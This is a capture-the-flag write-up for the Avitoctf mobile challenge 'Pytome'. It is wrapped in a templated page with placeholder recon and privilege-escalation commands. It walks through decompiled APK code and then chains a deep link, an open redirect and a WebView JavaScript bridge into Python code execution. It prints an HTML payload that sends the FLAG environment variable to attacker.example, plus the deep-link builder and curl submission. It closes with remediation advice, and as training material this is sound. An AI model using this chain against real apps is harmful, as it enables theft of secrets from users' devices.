← Back to Writeups
HTBN/AMobile

Pytome

XESXOR8/23/20268 min read
#mobile#htb#n/a

Pytome

Platform: Avitoctf | Category: Mobile | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-23 | Status: Solved Techniques: apk_static_analysis, deep_link_abuse, webview_bridge_exploitation, open_redirect_chaining, environment_variable_exfiltration

Summary

Task: Analyze an Android APK whose runtime secret is placed in a Python environment variable and whose documentation opens in a WebView. Solution: Chain a reviewer deep link with an open redirect, retain the JavaScript bridge, execute Python, and exfiltrate its output.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: avitoctf | ID: 20260723_avitoctf_pytome
  • Tags: python, android, open_redirect, webview, javascript_interface, chaquopy
  • Indicators: exported BROWSABLE activity with a custom URI scheme, JavaScript-enabled WebView exposes AndroidBridge.eval, allowlisted initial URL can redirect cross-origin, Python builtins.exec receives bridge-controlled code, FLAG arrives through an Intent extra
  • Source: 20260723_avitoctf_pytome.md

Foothold

Vulnerability / Misconfiguration

  1. Apk_static_analysis
  2. Deep_link_abuse
  3. Webview_bridge_exploitation
  4. Open_redirect_chaining
  5. Environment_variable_exfiltration
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • apk_static_analysis
  • deep_link_abuse
  • webview_bridge_exploitation
  • open_redirect_chaining
  • environment_variable_exfiltration
  • Tags: python, android, open_redirect, webview, javascript_interface, chaquopy

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Перед вами Pytome — защищенная от пчёл-вайбкодеров мобильная платформа по передаче вымирающего знания программирования на питоне, разработанная медоедами для медоедов. Медоеды очень боятся слить свои переменные окружения в приложении, особенно FLAG=..., пчёлам. Помоги им понять, возможно ли это сделать.

The supplied artifact was an Android APK for a Python learning application. The goal was to determine whether the secret environment variable in the organizer's Android instance could be disclosed.

Artifact: https://avitoctf.ru/files/pytome.apk

Challenge Summary

Pytome embeds CPython 3.11 through Chaquopy. Its exported documentation activity accepts a deep link, checks only the first URL's scheme and host, and loads that URL in a JavaScript-enabled WebView. Because an allowlisted endpoint provides an unrestricted redirect, an external page can inherit the exposed AndroidBridge, invoke unrestricted Python execution, read the runtime environment, and send the result to a callback server.

The complete chain was:

  1. The reviewer opened an attacker-supplied pytome://docs deep link.
  2. DocsActivity accepted an allowlisted HTTPS URL.
  3. The allowlisted /go?to= endpoint redirected the WebView to an external payload.
  4. The JavaScript interface remained available after the cross-origin navigation.
  5. JavaScript called AndroidBridge.eval(...), which reached Python exec.
  6. Python printed the environment value and JavaScript navigated to an interaction-server URL carrying the result.

Analysis

1. The secret is supplied at runtime

Static APK inspection found no real flag in resources, Chaquopy archives, or application-specific native code. This was expected after reviewing MainActivity: the organizer supplies the value as an Intent string extra when launching the challenge instance.

Decompiled reference: jadx/sources/ru/avitoctf/pytome/MainActivity.java:38-41.

String stringExtra = getIntent().getStringExtra("FLAG");
if (stringExtra != null) {
    PythonEngine.INSTANCE.setEnv(stringExtra);
}

PythonEngine.setEnv stores it in CPython's process environment.

Decompiled reference: jadx/sources/ru/avitoctf/pytome/PythonEngine.java:22-38.

PyObject module = python.getModule("os");
PyObject environ = (PyObject) module.get((Object) "environ");
environ.callAttr("__setitem__", "FLAG", env);

Therefore, installing the public APK locally cannot recover the authentic value: a normal launcher start does not provide that Intent extra.

2. Python execution is unrestricted

PythonEngine.execute creates a persistent global dictionary, redirects standard output into a StringIO, and invokes builtins.exec directly on the supplied string.

Decompiled reference: jadx/sources/ru/avitoctf/pytome/PythonEngine.java:42-82.

module = python.getModule("builtins");
if (globalContext == null) {
    globalContext = module.callAttr("dict", new Object[0]);
}
pyObjectCallAttr = module2.callAttr("StringIO", new Object[0]);
pyObjectCallAttr2 = module3.callAttr("redirect_stdout", pyObjectCallAttr);
pyObjectCallAttr2.callAttr("__enter__", new Object[0]);
module.callAttr("exec", code, globalContext);
return pyObjectCallAttr.callAttr("getvalue", new Object[0]).toString();

There is no import restriction, builtins reduction, allowlist, denylist, or sandbox. Any caller of execute can import os and print an environment variable.

3. An exported WebView exposes the executor

The decoded manifest declares DocsActivity as exported and browsable for pytome://docs:

<activity
    android:name="ru.avitoctf.pytome.DocsActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:host="docs" android:scheme="pytome" />
    </intent-filter>
</activity>

DocsActivity enables JavaScript and exposes PythonBridge as AndroidBridge before loading the requested page.

Decompiled reference: jadx/sources/ru/avitoctf/pytome/DocsActivity.java:33-46,68-76.

webView.getSettings().setJavaScriptEnabled(true);
webView.setWebViewClient(new WebViewClient());
webView.addJavascriptInterface(new PythonBridge(), "AndroidBridge");

Uri uri = Uri.parse(queryParameter);
if (uri.getScheme().equals("https") &&
    uri.getHost().equals("pytome-57ymra6o.avitoctf.ru")) {
    webView.loadUrl(queryParameter);
}

@JavascriptInterface
public final String eval(String code) {
    return PythonEngine.INSTANCE.execute(code);
}

The validation applies only to the initial parsed URL. No WebViewClient navigation callback revalidates the origin, and the bridge is not removed when navigation leaves the trusted site.

4. The web service completes the chain

Authorized reconnaissance of the origin found:

  • /docs/bug-report: a form that queues an Android reviewer to visit its url field.
  • /api/bug-report-status/<uuid>: the ticket status endpoint used by the page's polling JavaScript.
  • /go?to=...: an unrestricted redirect used throughout the documentation for outbound links.

The redirect is the trust-boundary bypass. A URL beginning on the allowlisted origin passes DocsActivity's check, while the resulting WebView navigation lands on attacker-controlled HTML with AndroidBridge still attached.

Solution

Step 1: Host the payload

Host the following HTML on an HTTPS origin under attacker control. attacker.example represents a generic interaction server and should be replaced with a callback endpoint owned by the solver.

<!doctype html>
<meta charset="utf-8">
<script>
try {
  const value = AndroidBridge.eval(
    "import os\nprint(os.environ.get('FLAG', 'NO_FLAG'))"
  );
  location.href =
    "https://attacker.example/callback?flag=" + encodeURIComponent(value);
} catch (error) {
  location.href =
    "https://attacker.example/callback?error=" +
    encodeURIComponent(String(error));
}
</script>

The successful solve placed equivalent HTML in a temporary gist and rendered it through htmlpreview.github.io, producing an executable external page. The temporary gists were deleted afterward. Hosting the page directly on a controlled HTTPS server is preferable when available.

Step 2: Construct the nested deep link

There are two encoding layers:

  1. Put the external payload URL into the to parameter of the allowlisted redirect.
  2. Put that complete redirect URL into the url parameter of pytome://docs.

The following script constructs the URL without relying on any deleted gist identifier:

#!/usr/bin/env python3
from urllib.parse import quote, urlencode

trusted_origin = "https://pytome-57ymra6o.avitoctf.ru"
payload_url = "https://attacker.example/payload.html"

redirect_url = trusted_origin + "/go?" + urlencode({"to": payload_url})
deep_link = "pytome://docs?url=" + quote(redirect_url, safe="")

print(deep_link)

The result has this structure:

pytome://docs?url=<URL-encoded https://pytome-57ymra6o.avitoctf.ru/go?to=<external payload URL>>

Step 3: Submit it to the Android reviewer

Submit the generated deep link as the bug report's url field. The other fields merely satisfy the form:

curl -sS 'https://pytome-57ymra6o.avitoctf.ru/docs/bug-report' \
  --data-urlencode 'name=researcher' \
  --data-urlencode 'email=researcher@example.com' \
  --data-urlencode 'bug_type=Critical documentation error' \
  --data-urlencode 'description=Please review this page' \
  --data-urlencode 'url=pytome://docs?url=<ENCODED_REDIRECT_URL>'

The response contains a ticket UUID. Progress can be checked at:

https://pytome-57ymra6o.avitoctf.ru/api/bug-report-status/<TICKET_UUID>

Step 4: Receive the result

The reviewer opened the deep link in an Android 15 WebView. The callback request showed an Android WebView user agent and carried the bridge result in the flag query parameter, including the newline produced by Python's print. The secret itself is redacted here and retained only in the writeup's dedicated metadata field.

Failed Variants

  • Static APK search: no authentic value existed in the APK because MainActivity receives it at runtime through an Intent extra.
  • data: and javascript: redirect targets: direct variants did not produce callbacks in the reviewer environment.
  • Payload hosted directly on webhook.site: its Content Security Policy included script-src 'none', so the JavaScript payload could not execute.
  • Rendered temporary gist: serving the HTML through htmlpreview.github.io allowed script execution and completed the chain.

Why the Exploit Works

The application treats the initial URL as the security boundary, but the active security principal is the final WebView document. Redirects can change that document's origin after the one-time check. Because addJavascriptInterface attaches a powerful native object to the WebView rather than to one trusted origin, every subsequently loaded page can invoke it.

This becomes critical because the interface is not a narrow documentation API: it forwards arbitrary source to Python exec, and that interpreter contains a runtime secret in os.environ.

Remediation

  1. Do not expose arbitrary Python evaluation through a JavaScript interface. Replace it with a minimal allowlisted API.
  2. Remove the bridge before untrusted navigation and expose it only to trusted local content where possible.
  3. Revalidate every top-level and subframe navigation in shouldOverrideUrlLoading and shouldInterceptRequest; reject redirects whose final origin is not allowlisted.
  4. Do not rely on host validation before loadUrl as protection against redirects.
  5. Remove or strictly constrain /go?to= to approved destinations.
  6. Make DocsActivity non-exported unless external deep links are required; otherwise require authenticated app links and validated inputs.
  7. Avoid placing high-value secrets in a process that intentionally executes user-controlled code.

Local Evidence

  • jadx/sources/ru/avitoctf/pytome/MainActivity.java
  • jadx/sources/ru/avitoctf/pytome/PythonEngine.java
  • jadx/sources/ru/avitoctf/pytome/DocsActivity.java
  • apktool/AndroidManifest.xml
  • web-recon.json
  • bug-report.html
  • payload.html
  • webhook-requests.json
  • deep-link and submission-response artifacts in the task directory
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR